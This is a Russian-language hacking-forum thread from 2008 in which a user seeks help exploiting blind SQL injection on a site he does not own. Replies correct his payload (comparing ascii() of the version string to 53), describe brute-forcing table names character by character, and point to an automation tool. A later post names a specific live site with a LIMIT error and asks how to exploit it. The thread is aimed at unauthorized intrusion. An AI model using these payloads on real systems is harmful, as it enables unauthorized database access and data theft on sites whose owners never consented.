HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу помогите составить запрос !
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

помогите составить запрос !
  #1  
Старый 19.06.2008, 19:50
stigmatus
Новичок
Регистрация: 26.04.2008
Сообщений: 23
С нами: 9495596

Репутация: 0
Question помогите составить запрос !
есть бажнии саит ! слепая sql injection!

пример :

Цитата:
http://********/concurs.php?id=4+AND+substring(version(),1,1)=5
резулитат : TRUE

а если :

Цитата:
http://*******/concurs.php?id=4+AND+ascii(lower(substring(version (),1,1)))=5
резулитат : FALSE

почему ????

читал статию http://injection.rulezz.ru/mysql_char_brute.html но чёта не как там описано ! help!
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 19.06.2008, 19:58
spider-intruder
Постоянный
Регистрация: 10.12.2005
Сообщений: 939
С нами: 10746345

Репутация: 929


По умолчанию
потому что код 5ки во втором запросе должен быть 53

http://*******/concurs.php?id=4+AND+ascii(lower(substring(version (),1,1)))=53

Ты приводиш первый символ значения переменной version() к типу ASCII т.е. к ее коду а он равен 53
Последний раз редактировалось spider-intruder; 19.06.2008 в 20:02..
 
Ответить с цитированием

  #3  
Старый 19.06.2008, 20:04
stigmatus
Новичок
Регистрация: 26.04.2008
Сообщений: 23
С нами: 9495596

Репутация: 0
По умолчанию
посиба ! подскажи как составить запрос типа : SELECT table_name from information_schema.tables
 
Ответить с цитированием

  #4  
Старый 19.06.2008, 20:05
stigmatus
Новичок
Регистрация: 26.04.2008
Сообщений: 23
С нами: 9495596

Репутация: 0
По умолчанию
на том же примере ???
 
Ответить с цитированием

  #5  
Старый 19.06.2008, 20:08
spider-intruder
Постоянный
Регистрация: 10.12.2005
Сообщений: 939
С нами: 10746345

Репутация: 929


По умолчанию
http://*******/concurs.php?id=4+AND+ascii(lower(substring("ЗАП РОС",1,1)))="ПЕРЕБИРАТЬ каждую букву методом схождения"

гдето есть софт для автоматизации процесса даже по слепой инъекции - ищите.
мне некогда )
 
Ответить с цитированием

  #6  
Старый 19.06.2008, 23:47
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами: 10485026

Репутация: 1879


По умолчанию
Bsqlbf2
_https://forum.antichat.ru/threadnav20879-1-10.html
Последний раз редактировалось Ch3ck; 19.06.2008 в 23:50..
 
Ответить с цитированием

  #7  
Старый 21.06.2008, 00:36
XJIOP
Познающий
Регистрация: 23.03.2005
Сообщений: 40
С нами: 11122570

Репутация: 13
По умолчанию
народ что можно сдеалть с ошибкой в LIMIT? вот пример где ошибка http://mybits.ws:80/browse.php?page=0.01
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите составить регулярное выражение. x88x PHP 7 12.06.2008 18:27
Нужно составить правильный запрос, для веб-формы (https) geograph Разное - Покупка, продажа, обмен 0 31.12.2007 13:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.